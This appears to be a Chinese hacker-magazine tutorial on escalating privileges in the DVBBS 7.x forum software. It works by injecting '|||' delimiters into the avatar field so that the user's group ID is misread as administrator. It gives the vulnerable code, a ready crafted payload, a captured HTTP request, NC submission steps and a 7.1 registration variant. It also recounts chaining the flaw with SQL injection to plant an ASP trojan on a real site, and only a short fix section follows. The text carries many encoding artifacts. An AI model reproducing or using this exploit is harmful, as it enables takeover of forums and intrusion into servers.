| 在6月份的黑防上看到《動(dòng)網(wǎng)7.1漏洞驚現江湖》一文,說(shuō)是admin_postings.asp文件
存在注入漏洞,但利用的前提是擁有超級斑竹或前臺管理員權限。我想起以前發(fā)現的動(dòng)網(wǎng)7.x版本存在一個(gè)前臺權限提升漏洞, 正好可以結合起來(lái)利用。這個(gè)前臺權限提升漏洞對7.x的Access和 Sql版都有效。下面我們就以7.0 sp2 sql版,講解這個(gè)漏洞的利用。
漏洞分析 我們知道動(dòng)網(wǎng)是通過(guò)GroupID來(lái)判斷當前用戶(hù)所在的組的,然后再通過(guò)組的信息判斷用戶(hù)的權限。它是如何取得這個(gè)GroupID的呢?讓我們看看登錄驗證的那一段:
login.asp的525行左右
Rem ==========論壇登錄函數=========
Rem 判斷用戶(hù)登錄
Function ChkUserLogin(username,password,mobile,usercookies,ctype)
…………前面的代碼省略
Sql="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,UserFace
,UserWidth,UserHeight,JoinDate,LastLogin,UserLogins,Lockuser,Userclass,UserGroupID,UserGroup,
userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,UserHidden,
UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday "
Sql=Sql+" From [Dv_User] Where "&sqlstr&""
set rsUser=Dvbbs.Execute(sql)
If rsUser.eof and rsUser.bof Then
ChkUserLogin=false
Exit Function
Else
iMyUserInfo=rsUser.GetString(,1, "|||", "", "")
rsUser.Close:Set rsUser = Nothing
End If
iMyUserInfo = "Dvbbs|||"& Now & "|||" & Now &"|||"& Dvbbs.BoardID &"|||"&
iMyUserInfo &"||||||Dvbbs"
iMyUserInfo = Split(iMyUserInfo,"|||")
If trim(password)<>trim(iMyUserInfo(6)) Then
ChkUserLogin=false
ElseIf iMyUserInfo(17)=1 Then
ChkUserLogin=false
ElseIf iMyUserInfo(19)=5 Then
ChkUserLogin=false
Else
ChkUserLogin=True
Session(Dvbbs.CacheName & "UserID") = iMyUserInfo
Dvbbs.UserID = iMyUserInfo(4)
RegName = iMyUserInfo(5)
Article = iMyUserInfo(8)
UserLastLogin = iMyUserInfo(15)
UserClass = iMyUserInfo(18)
GroupID = iMyUserInfo(19)
TitlePic = iMyUserInfo(34)
If Article<0 Then Article=0
End If
…………后面的代碼省略
可以看到,動(dòng)網(wǎng)將用戶(hù)的信息先用”|||”三個(gè)豎線(xiàn)連起來(lái),做為一個(gè)字符串傳給iMyUserInfo,然后iMyUserInfo由”|||”分隔成一個(gè)字符串數組。 用戶(hù)密碼驗證正確后就把數組的第20個(gè)元素的值:iMyUserInfo(19) 賦給GroupID??吹?jīng)],GroupID只是數組對應的第20個(gè)元素的值, 如果iMyUserInfo(19)的值為1的話(huà),動(dòng)網(wǎng)就以為現在登錄的用戶(hù)是前臺管理員了。
在inc目錄下的Dv_ClsMain.asp文件中也有這么驗證用戶(hù)身份的一段代碼,用來(lái)在用戶(hù)更新信息后檢測用戶(hù)的權限。
Dv_ClsMain.asp的650行左右
Public Sub TrueCheckUserLogin()
……前面的省略
Dim Rs,SQL
Sql="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,
UserFace,UserWidth,UserHeight,JoinDate,LastLogin,UserLogins,Lockuser,Userclass,UserGroupID,
UserGroup,userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,
UserHidden,UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday"
Sql=Sql+" From [Dv_User] Where UserID = " & UserID
Set Rs = Execute(Sql)
If Rs.Eof And Rs.Bof Then
Rs.Close:Set Rs = Nothing
UserID = 0
EmptyCookies
LetGuestSession()
Else
MyUserInfo=Rs.GetString(,1, "|||","","")
Rs.Close:Set Rs = Nothing
If IsArray(Session(CacheName & "UserID")) Then
MyUserInfo = "Dvbbs|||"& Now & "|||" & Session(CacheName & "UserID")(2) &"|||"& BoardID &"|||"& MyUserInfo &"||||||Dvbbs"
Else
MyUserInfo = "Dvbbs|||"& Now & "|||" & DateAdd("s",-3600,Now()) &"|||"& BoardID &"|||"& MyUserInfo &"||||||Dvbbs"
End IF
Response.Write MyUserInfo
MyUserInfo = Split(MyUserInfo,"|||")
……
End If
End Sub
‘用戶(hù)登錄成功后,采用本函數讀取用戶(hù)數組并判斷一些常用信息
Public Sub GetCacheUserInfo()
MyUserInfo = Session(CacheName & "UserID")
UserID = Clng(MyUserInfo(4))
MemberName = MyUserInfo(5)
Lastlogin = MyUserInfo(15)
If Not IsDate(LastLogin) Then LastLogin = Now()
UserGroupID = Cint(MyUserInfo(19))
……后面代碼省略
兩處檢驗的方式一模一樣,所以我們可以利用這兩個(gè)中的任意一個(gè)來(lái)達到我們的目的??此膕ql語(yǔ)句部分:
Sql="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,UserFace,UserWidth,UserHeight,JoinDate, LastLogin,UserLogins,Lockuser,Userclass,UserGroupID,UserGroup,userWealth,userEP,userCP,UserPower,UserBirthday, UserLastIP,UserDel,UserIsBest,UserHidden,UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday"
Sql=Sql+" From [Dv_User] Where UserID = " & UserID
UserGroupID字段排在第16個(gè),只要我們前面的一個(gè)字段的數據中含有”|||”,那么UserGroupID在MyUserInfo這個(gè)字符串數組的位置就改變了。 對這個(gè)字段選取有些特殊的要求,字段類(lèi)型要合適,不能為數字型,字段的長(cháng)度要可以容納下我們構造的數組,并且還得是上面sql語(yǔ)句中排在UserGroupID前面的字段, 這樣才能使構造的數組改變原來(lái)數組中UserGroupID的位置。對照圖(1),
我們能利用的就只有UserEmail、UserFace這兩個(gè)字段了。由于IsValidEmail函數的存在,我們沒(méi)法在UserEmail字段中插入’|’,所以能利用的就只有UserFace字段了。
在基本資料修改時(shí),動(dòng)網(wǎng)只過(guò)濾了sql注入用的幾個(gè)符號,沒(méi)有過(guò)濾掉’|’,所以只要我們構造出正確的字符串,就可以騙過(guò)動(dòng)網(wǎng),成為管理員組的用戶(hù)了。
face=Dv_FilterJS(replace(face,"‘",""))
face=Replace(face,"..","")
face=Replace(face,"\","/")
face=Replace(face,"^","")
face=Replace(face,"#","")
face=Replace(face,"%","")
漏洞的利用 如何構造這個(gè)UserFace來(lái)達到我們的目的呢?最開(kāi)始我以為只要iMyUserInfo(19)為1就可以是管理員了,但一直沒(méi)有成功。 其實(shí)我們在構造這個(gè)UserFace時(shí)還要考慮到一點(diǎn),我們已經(jīng)改變了iMyUserInfo數組的結構, 我們必須保證新的iMyUserInfo數組的前面一部分的結構和原數組結構一模一樣,否則就會(huì )出現類(lèi)型轉換錯誤,比如UserBirthday, 在新的數組中該字段位置的值必須為一個(gè)日期。我們可以直接拿一個(gè)正常的iMyUserInfo的后半部分做我們的UserFace值,然后將UserGroupID位置改為一。 我修改了login.asp文件,讓它在用戶(hù)登錄時(shí)顯示當前用戶(hù)的iMyUserInfo的內容,見(jiàn)圖(2)
例如admin(不一定非得是admin的,其他用戶(hù)的也行,只要UserGroupID處改為1就行了)登錄時(shí)的iMyUserInfo的值為:
Dvbbs|||2005-6-1918:05:34|||2005-6-19 18:05:34|||0|||1|||admin|||469e80d32c0559f8|||
eway@aspsky.net|||4|||1|||0|||images/userface/image1.gif|||32|||32|||2003-12-30 16:34:00|||2005-6-1918:04:06|||25|||0|||管理員|||1||||||120|||115|||28|||0||||||210.41.235.200
|||0|||0|||0||||||0||||||level10.gif||||||9pc722664t5w7IM7|||0|0|0 ||||||Dvbbs
我們可以取
images/userface/image1.gif|||32|||32|||2003-12-30 16:34:00|||2005-6-19 18:04:06|||25|||0|||管理員|||1||||||120|||115|||28|||0||||||210.41.235.200|||0|||0|||0||||||0||||||level10.gif||||||9pc722664t5w7IM7|||0|0|0 ||||||Dvbbs
做我們的UserFace值,要注意這個(gè)值的長(cháng)度不能超過(guò)255個(gè)字符。動(dòng)網(wǎng)限制了我們提交的字符為100個(gè),我們可以用NC來(lái)提交。
先在本機測試一下,用普通用戶(hù)登錄動(dòng)網(wǎng),現在用戶(hù)等級還是新手上路如圖(3)。
好了,我們去修改基本信息的地方如圖(4)
提交,用wse抓下這個(gè)包,如圖(5)。
截取到的包如下:
POST /bs/mymodify.asp?action=updat&username=4 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://210.41.235.199/bs/mymodify.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)
Host: 210.41.235.199
Content-Length: 396
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: 210%2E41%2E235%2E199%2Fbs%2F=usercookies=0&StatUserID=21048347059&password=fVIy4l887ZvD956c&userhidden=&username=test&userclass=%D0%C2%CA%D6%C9%CF%C2%B7&userid=4; upNum=0; ASPSESSIONIDASCDABTA=IEGHDLKCCHDMOBPFPFFHMNAM
title=&sex=1&face=Images%2Fuserface%2Fimage1.gif&myface=Images%2Fuserface%2Fimage1.gif&width=32&height=32&birthday=&userphoto=&GroupName=%CE%DE%C3%C5%CE%DE%C5%C9&Signature=&showRe=0&usercookies=0&setuserinfo=1&setusertrue=0&realname=&personal=&country=&userphone=&address=&province=&selectp=0&city=&selectc=0&shengxiao=&blood=&belief=&occupation=&marital=&education=&college=&Submit=%B8%FC+%D0%C2
好,我們把userface的值給替換成
images/userface/image1.gif|||32|||32|||2003-12-30%2016:34:00|||2005-6-19%2018:04:06|||25|||0|||管理員|||1||||||120|||115|||28|||0||||||210.41.235.200|||0|||0|||0||||||0||||||level10.gif||||||
9pc722664t5w7IM7|||0|0|0 ||||||Dvbbs
要注意中間的空格替換成%20,重新計算Content-Length的值,然后用NC提交一次,我們這個(gè)用戶(hù)的userface就替換過(guò)來(lái)了,如圖六。我們現在再重新登陸看看(圖(7,8))
哈哈,看到了嗎?我們已經(jīng)是管理員了。再利用《動(dòng)網(wǎng)7.1漏洞驚現江湖》一文中的漏洞就可以添加后臺管理員了。
動(dòng)網(wǎng)7.1利用方法 動(dòng)網(wǎng)的7.1版利用這個(gè)漏洞的方法有點(diǎn)小變化,難度也比7.0 sp2要大。7.1版中加入了對face變量中的’|’符號的過(guò)濾
mymodify.asp文件中的270行附近:
face=Dv_FilterJS(Replace(face,"‘",""))
face=Replace(face,"..","")
face=Replace(face,"\","/")
face=Replace(face,"^","")
face=Replace(face,"#","")
face=Replace(face,"%","")
face=Replace(face,"|","")
可惜的是動(dòng)網(wǎng)的程序員百密而一疏,忘了注冊時(shí)也可以修改頭像,在reg.asp中就沒(méi)有對face變量做任何的過(guò)濾
Reg.asp文件的285行附近
If Request.form("face")<>"" Then
face=Request.form("face")
End If
同樣,還是先抓包后用NC提交。注冊登錄后就是前臺管理員了。但還要一個(gè)問(wèn)題,就是Truepassword問(wèn)題。7.1中加強了對cookie欺騙的防范,所以這個(gè)truepassword變化的太頻繁了。在7.0sp2的newpass.asp中,只有一個(gè)更新當前用戶(hù)turepassword的指令:
7.0 sp2的newpass.asp文件
<!--#include file="conn.asp"-->
<!--#include file="inc/const.asp"-->
<%
Dvbbs.NewPassword0()
%>
而在7.1中,newpass.asp還會(huì )檢查用戶(hù)的cookies是否更新
7.1 newpass.asp文件的30行左右
‘檢查寫(xiě)入是否成功如果成功則更新數據
If Dvbbs.checkStr(Trim(Request.Cookies(Dvbbs.Forum_sn)("password")))=TruePassWord Then
Dvbbs.Execute("UpDate [Dv_user] Set TruePassWord=‘"&TruePassWord&"‘ where UserID="&Dvbbs.UserID)
Dvbbs.MemberWord = TruePassWord
Dim iUserInfo
iUserInfo = Session(Dvbbs.CacheName & "UserID")
iUserInfo(35) = TruePassWord
Session(Dvbbs.CacheName & "UserID") = iUserInfo
End If
在7.1中,我們的客戶(hù)端的cookies中的truepassword被更新成新的truepassword,由于服務(wù)器端的truepassword也是從MyUserInfo中得來(lái)的,而MyUserInfo中的truepassword值是不會(huì )改變的,在檢測時(shí)就會(huì )形成一個(gè)死循環(huán)。我們的解決的辦法是用cookies鎖定,用桂林老兵的瀏覽器鎖定我們的cookies,之前得將cookies中的truepassword值設成和MyUserInfo中的truepassword值一致。這樣就不會(huì )重復請求newpass.asp進(jìn)入死循環(huán)了。
由于手頭上沒(méi)有7.1的sql版的代碼,所以上面是在7.1的Access版下測試的,可以成功的成為前臺的管理員。
后記
漏洞的防范方法:改數據庫結構的工程大了點(diǎn),建議在reg.asp和mymodify.asp中加入對相應變量的”|”符號進(jìn)行過(guò)濾,比如:
face=Dv_FilterJS(Replace(face,"‘",""))
face=Replace(face,"..","")
face=Replace(face,"\","/")
face=Replace(face,"^","")
face=Replace(face,"#","")
face=Replace(face,"%","")
face=Replace(face,"|","")
還想提一點(diǎn),動(dòng)網(wǎng)太信任后臺的管理員了,所以在后臺的很多地方都沒(méi)有對sql注入進(jìn)行防范,這就形如給我們開(kāi)了一個(gè)sql注入之門(mén)。我們曾經(jīng)檢測的一個(gè)網(wǎng)站,設置的非常BT。上面用的就是dvbbs的論壇。當我們取得了dvbbs的后臺管理員權限時(shí)才發(fā)現上傳目錄沒(méi)有執行權限,asp木馬傳上去了又原樣返回。而由執行asp權限的目錄又沒(méi)有寫(xiě)入的權限。網(wǎng)站上又沒(méi)有其他的站點(diǎn)可以注入。后來(lái)發(fā)現dvbbs后臺有注入后才總算得到一匹小馬。真是千里之堤,潰于蟻穴啊。
哆嗦一句,這個(gè)權限提升漏洞沒(méi)有太高深的技巧,但后果是非常嚴重的。由于前臺管理的多個(gè)頁(yè)面存在sql注入,所以這個(gè)漏洞對dvbbs 7.x sql版的危害非常大。請不要用本文的方法做破壞行為,否則后果自負。 |